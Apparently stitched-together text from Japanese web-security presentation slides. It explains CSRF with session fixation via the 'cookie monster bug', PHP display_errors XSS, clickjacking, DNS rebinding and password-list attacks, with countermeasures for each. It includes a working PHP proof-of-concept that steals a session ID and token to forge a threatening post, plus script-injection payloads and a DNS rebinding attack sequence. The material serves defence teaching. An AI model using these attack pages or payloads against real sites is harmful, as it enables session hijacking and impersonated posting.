  // トークンをセッション変数とPOSTパラメータから取得
  $s_token = @$_SESSION['token'];
  $p_token = @$_POST['token'];
  if (! isset($s_token) || $p_token !== $s_token) {
    // トークンが空か、一致していなければエラー
    die('正規の画面からご使用ください');
  }
?>
<body>
投稿されました:<?php echo htmlspecialchars($_POST['body']); ?>
<?php var_dump($_COOKIE); ?>
</body>

クッキーモンスターバグとは

Set-Cookie: foo=bar; domain=example.jp

ログイン処理後のセッションIDの固定化攻撃は簡単に対策できる

ログイン前のセッションIDの固定化攻撃は対策が難しい

• ページごとにセッションIDを振り直す
• セッションではなくhiddenパラメータにより入力値を引き回す

CSRFとセッションIDの固定化攻撃

• 攻撃者はログイン前のセッションIDを用意して、クッキーモンスターバグなどにより、これを被害者のブラウザにセットする
• 被害者が攻撃対象サイトでログインする
• 攻撃者は、元のセッションIDを「知っている」ので、ログイン状態のセッションを盗むことができる

• 攻撃者は入力フォーム(form.php)を閲覧する
• この状態でクッキーの値とhiddenのトークンの値を調べる
• 罠を用意する。前項で調べたクッキーはクッキーモンスターバグで被害者のブラウザにセットして、hiddenのトークンは通常のCSRFの手法により送信する
• クッキーもトークンも正規のものなので、CSRFチェックを回避して、被害者のブラウザから投稿がされる

<?php
// cURLの初期化
$ch = curl_init('http://tokumaru.bunkyo.tokyo.jp/form.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 結果を文字列で取得
curl_setopt($ch, CURLOPT_HEADER, true); // ヘッダも取得
// User-Agentを被害者のものに合わせる
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
$str = curl_exec($ch); // HTTPリクエスト要求
curl_close($ch);
// セッションIDとトークンを切り出し
preg_match('/PHPSESSID=([a-z0-9]+);/i', $str, $match);
$sessid = $match[1];
preg_match('/name="token" value="([=+\/a-z0-9]+)"/i', $str, $match);
$token = $match[1];
// 被害者のブラウザにセッションIDを domain=tokyo.jp でセット
setcookie('PHPSESSID', $sessid, 0, '/', 'tokyo.jp');
?>
<body>
<form action="http://tokumaru.bunkyo.tokyo.jp/post.php" method="POST">
<input name="body" value="○○小学校を襲撃します"><br>
<input name="token" value="<?php echo $token; ?>"><br>
<input type="submit" value="ボタンを押して下さい"><br>
PHPSESSID = <?php echo $sessid; ?>
</form>
</body>

認証がある場合のCSRF対策とはどこが違うか

• 攻撃者は攻撃対象サイトに自分のアカウントでログインする
• この状態でクッキーの値とhiddenのトークンの値を調べる
• 罠を用意する。前項で調べたクッキーはクッキーモンスターバグで被害者のブラウザにセットして、hiddenのトークンは通常のCSRFの手法により送信する
• クッキーもトークンも正規のものなので、CSRFチェックを回避して、被害者のブラウザから投稿がされる

• 地域型JPドメイン名または都道府県型JPドメイン名上にサイトがある
• 利用者がIEを使っている

FAQ

では、どうすればよいのか

• RefererによるCSRF対策をする
• 地域型JPドメイン名からLG.JPドメイン名に移行する
• トークン生成と書き込みページのリモートIPアドレスを比較して、違っていたらエラーにする
• 書き込み実行時のIPアドレスに加えて、トークン生成時のIPアドレスも記録する
• 犯行予告など無視する
• IPアドレスを一切記録しない
• 例えば、IEを避ける（参考: 例えば、PHPを避ける）
• Microsoft社に運動してクッキーモンスターバグを修正してもらう

まとめ

X-Content-Security-Policy: allow 'self'; frame-ancestors *.ipa.go.jp *.meti.go.jp

概要
PHP には、クロスサイトスクリプティングの脆弱性が存在します。
影響を受けるシステム
PHP 5.2.7 およびそれ以前
PHP の設定で display_errors=off である場合は、この問題の影響を受けません。
謝辞
この脆弱性情報は、情報セキュリティ早期警戒パートナーシップに基づき下記の方が IPA に報告し、JPCERT/CC が開発者との調整を行いました。
報告者：インターナショナル・ネットワーク・セキュリティ(株) 佐名木 智貴 氏

■ JVN#50327700 PHP におけるクロスサイトスクリプティングの脆弱性がよくわからない件について
PHP の設定で display_errors=off である場合は、この問題の影響を受けません。
の時点でまぁ自分の手元にはほぼ影響ないんですが、該当の記事からのリンク先であるPHPのChangeLogにはそれっぽいのがかいてなくて非常に気持ち悪い思いをしてるわけです。
こまってWassrでつぶやいてみたらますがたさんよりこれじゃないかみたいなレスをもらったけど、Cookieまわりっぽいので、CookieってXSSないとそもそもかきかえられないよなぁ（いや、レンタルサーバとかだといろいろあるけえど）とか悩んでるわけです。で、もし詳細ご存知の人いたら教えてください。
http://d.hatena.ne.jp/cocoiti/20081223より引用

Cross-site scripting (XSS) vulnerability in PHP, possibly 5.2.7 and earlier, when display_errors is enabled, allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. NOTE: because of the lack of details, it is unclear whether this is related to CVE-2006-0208.
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5814

• Cookieの名前の場合は、setcookieまたはsetrawcookieを使っている場合
• Cookieの値の場合は、setrawcookieを使っている場合

<?php
  setcookie('a', '<script>alert(1);</script>');
  setrawcookie('a', '<script>alert(2);</script>');
  setcookie('<script>alert(3);</script>', 'a');
  setrawcookie('<script>alert(4);</script>', 'a');

<?php
  setrawcookie('a', $_GET['x']);

• PHP5.2.6以下を使っている
• display_errorsが有効
• 以下のいずれか
• setrawcookieにより外部からコントロールできる文字例をCookieの値として出力している
• setcookieかsetrawcookieにより外部からコントロールできる文字例をCookieの名前として出力している

• PHPの最新の安定版を使う（必須）
• display_errorsを無効にする（必須）
• Cookieの出力にはsetcookie関数を使う
• Cookieの名前は外部から指定できなくする

• クロスサイト・リクエスト・フォージェリ(CSRF)
• クロスサイトスクリプティング（XSS）
• HTTPヘッダーインジェクション
• クリックジャッキング
• DNSリバインディング
• クッキーモンスターバグ

CSRF

authenticity_token=ee09XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX63faec&place_id=&status=【投稿内容】

HTTP/1.1 403 Forbidden
【以下略】

XSS

HTTPヘッダーインジェクション

クリックジャッキング

if (window.top !== window.self) {document.write = "";window.top.location = window.self.location; // 以下略

• 古いバージョンのIE（IE7以前）を使う
• プライバシーの設定を最低（すべてのCookieを受け入れ、送信）
• JavaScriptを無効にする

• HTTPレスポンスヘッダ x-frame-options: SAMEORIGIN を送信
• P3Pコンパクトポリシーを送信しない
• JavaScriptによるクリックジャッキング対策コード

DNSリバインディング

1. 攻撃者は自分の用意したアカウントでログインしてCookieを調べる
2. 攻撃者はDNSリバインディングの罠を用意する。罠を閲覧した利用者のブラウザに対して、前項で調べたCookieをセットする
3. 利用者からの閲覧があった直後に、罠のドメイン名に対するAレコードを書き換え、攻撃対象のIPアドレスをセットする。TTLは元々短い値(1秒など)とする
4. 利用者が閲覧した罠から、時間をおいて（10秒～数分）罠のドメイン名にXMLHttpRequestでアクセスする。罠のドメイン名は攻撃対象サイトのIPを指しているので、実際には攻撃対象にアクセスする
5. 利用者のブラウザは、攻撃者の用意したアカウントで攻撃対象サイトにログインした状態になる
6. XMLHttpRequestでCSRF対策のトークンを調べ、正しいトークンをセットして「なりすまし投稿」を行う（twitterの場合であれば、セッション毎に固定のトークンなので、攻撃者があらかじめてトークンを調べて罠にセットしてもよい）

HTTP/1.0 404 Not Found
date: Sun, 31 Mar 2013 15:34:54 UTC
server: tfe
strict-transport-security: max-age=631138519
Content-Length: 0

NameVirtualHost *:80
# ダミーのバーチャルホスト
<VirtualHost _default_:80>
  DocumentRoot /var/www/dummy
  ErrorDocument 404 /index.html
</VirtualHost>

# 本番のバーチャルホスト
<VirtualHost>
  ServerName www.example.jp
# 以下略

クッキーモンスターバグ

まとめ

• トークンによるCSRF対策
• XSS対策（脆弱性報告者の表彰）
• HTTPヘッダーインジェクション対策（あるいは該当箇所なし）
• クリックジャッキング対策（下記）
• X-FRAME-OPTIONSヘッダの送信
• P3Pコンパクトポリシーを送信しない
• JavaScriptによるクリックジャッキング対策
• Hostヘッダのチェック
• クッキーモンスターバグの影響を受けないドメイン名の採用

• 利用者がフィッシング詐欺に引っかかってIDとパスワードを盗まれた場合
• 悪質なtwitterアプリの連携を利用者が許可してしまった場合
• 使用しているtwitterアプリに脆弱性があり、悪用された場合

<?php
  ini_set('display_errors', 1); // display_errorsを有効にする
  $a = array();                 // 配列の生成
  $index = $_GET['x'];          // 配列のインデックスを得る
  $b = $a[$index];              // 配列の要素にアクセス

Notice: Undefined index: <script>alert(1)</script> in /var/www/de.php on line 5

PHPの脆弱性なのか?

プログラミングでなんとかならないのか?

$b = array_key_exists($index, $a) ? $a[$index] : null;

$b = isset($a[$index]) ? $a[$index] : null;

$b = @$a[$index];

display_errorsは本番環境ではOffにしよう

• display_errorsなどデバッグ用のエラー表示は本番リリース前にオフにする
• エラー表示は利用者向けに必要最低限の表示にとどめ、問題解決用の情報はログとして出力する
• エラーメッセージにはクロスサイトスクリプティングが入りやすいので注意（と言っても、特別なことをするわけではなく、エラー表示だからと言って手を抜かずにHTMLエスケープしろということです）

• 前回のご報告までは「複数のIPアドレスからログインページに対して機械的に総当たり攻撃等を行う大量アクセス行為（ブルートフォースアタック）」とご説明しておりましたが、詳細調査の結果、「不正の疑われる複数のIPアドレスからログインページに対して、予め持っていたログインIDとパスワードの適用可否を試行する大量アクセス行為」であることが判明いたしました。
• つまり、大量アクセス行為を仕掛けてきた者は、当社以外の他のサービスなどで他のサービスのログインIDとパスワードを不正に入手し、ユーザーがログインIDとパスワードを共通に設定している可能性を狙って当社サービスに不正にログインしようとし、上記件数についてはログインに成功してしまったということです。
• そのように判断した根拠は、一つのログインID（メールアドレス）について試行するパスワードの数の少なさです。

【重要なお知らせ】不正ログイン被害のご報告とパスワード再設定のお願いより引用

利用者側の対策

サイト側の対策1(パスワードリスト攻撃から利用者を守る)

サイト側の対策2(パスワードそのものの保護)

まとめ

• 利用者は、自衛のためサイト毎に異なるパスワードを設定する
• サイト運営者は、2段階認証やリスクベース認証の導入を検討する
• 自力で高度な認証の実装が困難な場合は、外部認証の導入を検討する
• パスワード設定画面に、他サイトとは異なるパスワードをつけるように注意喚起する（追記）
• IPアドレス単位で認証試行回数や認証失敗回数によるアクセス制限を行う（緩和策として追記）
• サイトの負荷、ログイン試行数、ログイン失敗数などの監視を実施する
• パスワードの漏洩に備えて、パスワードの保護（ソルトつきハッシュ、ストレッチング）を導入する

• Tサイト（プレスリリース）
• goo（プレスリリース） 
• フレッツ光メンバーズクラブ（プレスリリース） 
• eBook Japan（プレスリリース） 
• My JR-EAST（プレスリリース）

• 大半の利用者はパスワード管理に興味がない
• パスワード認証を採用している理由は、コスト上の理由、すなわちサイト側の経済的な事情
• インターネットが「とても危険なもの」となるとネットビジネスが成り立たなくなる

ブルートフォースアタック(Brute force Attack)

• パスワードに使える文字種と文字数を増やす

4. ログインパスワードの設定
gooIDに対応するログインパスワードを設定します。gooIDでご利用いただけるサービスを利用するにはgooIDとログインパスワードの両方が必要になります。ログインパスワードは英数字の４文字以上のものを使う必要があります。このパスワードは大切に保管し、忘れないようにしてください。
gooID登録・変更・削除 – gooヘルプより引用（強調は引用者）

辞書攻撃

リバースブルートフォースアタック

調べでは、○○容疑者は昨年１１月、「総当たり攻撃」用プログラムを使って検索した９人分のＩＤでジェット証券のＨＰに不正に接続した疑い。 同社ではパスワード（ＰＷ）入力を複数回間違えると、アクセスできなくなるが、ＰＷを適当な４けたに固定し、ＩＤだけを変える手口を使っていたため、ロックされなかった。
(2007/03/15 13:06)
産経WEB http://www.sankei.co.jp/shakai/jiken/070315/jkn070315007.htm
リンク先削除済みのため、2chより孫引き

ジョーアカウントへの攻撃

パスワードリスト攻撃

• 攻撃対象サイトには価値の高い情報や、金銭的な利益を得る手段がある
• 攻撃対象サイトにはSQLインジェクション等の脆弱性は見あたらない
• 攻撃対象と利用者が重なる「脆弱なサイト」があり、そこからIDとパスワードの一覧が入手可能
• 両サイトで、同じIDとパスワードを使っているユーザが一定確率で存在する

【重要】アカウントハッキングにご注意ください。
2010/11/16
既に報道されておりますが、オンラインゲームを提供している他サービス会社においてIDおよびパスワードを始めとする会員情報の一部が不正アクセスの影響により流失したとの情報を確認いたしました。
これにより、不正に入手したIDおよびパスワードのリストを利用した「リスト型アカウントハッキング」が行われる可能性がございます。
【重要】アカウントハッキングにご注意ください。 - ガンホーゲームズ－無料で遊べるオンライン遊園地！より引用（強調は引用者）

パスワードリスト攻撃の対策

• Google
• facebook
• ヤフー!
• Dropbox
• Microsoft (live.com)
• Apple （米国より展開中）
• twitter（テスト中）
• Evernote（対応を表明）

• 従来と異なる端末（ブラウザ)
• ISP（特に地域）
• ログインの時間帯
• ブラウザ（User-Agent）
• 不自然な行動（東京でログインした5分後に大阪でログインした等）

• 登録済みメールアドレスに送信したトークン（6桁程度の乱数）
• facebookの“友達当てクイズ”
• 「秘密の質問」に対する答え
• 事前に登録した「合い言葉」

• 平常時はパスワード認証と変わらないので利用者の負担が軽い
• 2段階認証と比べて、リスク判定処理が加わる分、実装の負担が重い

しかし、今年になり、ワンタイムを使った被害が確認された。被害に遭った複数の利用者のＰＣから、ワンタイムを盗み取る機能を持つウイルスが見つかったという。利用者の知らないうちにワンタイムが使われ、送金されていた。
朝日新聞デジタル：ネット口座不正送金、急増 使い捨てパスワードで被害もより引用

• パスワード試行の回数
• パスワード間違いの回数
• パスワード間違いの率

対策のまとめ

• パスワードに使える文字種と文字数を増やす
• アカウントロック
• パスワードの辞書チェック
• ジョーアカウントのチェック
• 2段階認証
• リスクベース認証
• ログイン処理の監視
• ログイン履歴の確認機能
• ソルト、ハッシュ、ストレッチングによるパスワードの保護

外部認証の勧め

• OpenIDを使う場合でも独自のIDとパスワードの登録が必要なサイト(remember the milkなど)
• 独自のIDとパスワードもあるが、OpenIDを使う場合は、独自のIDとパスワードの登録は必要ないサイト（ガンホーなど）
• OpenIDのみに対応しており、独自のパスワード管理をしていないサイト(旧ATNDなど)

まとめ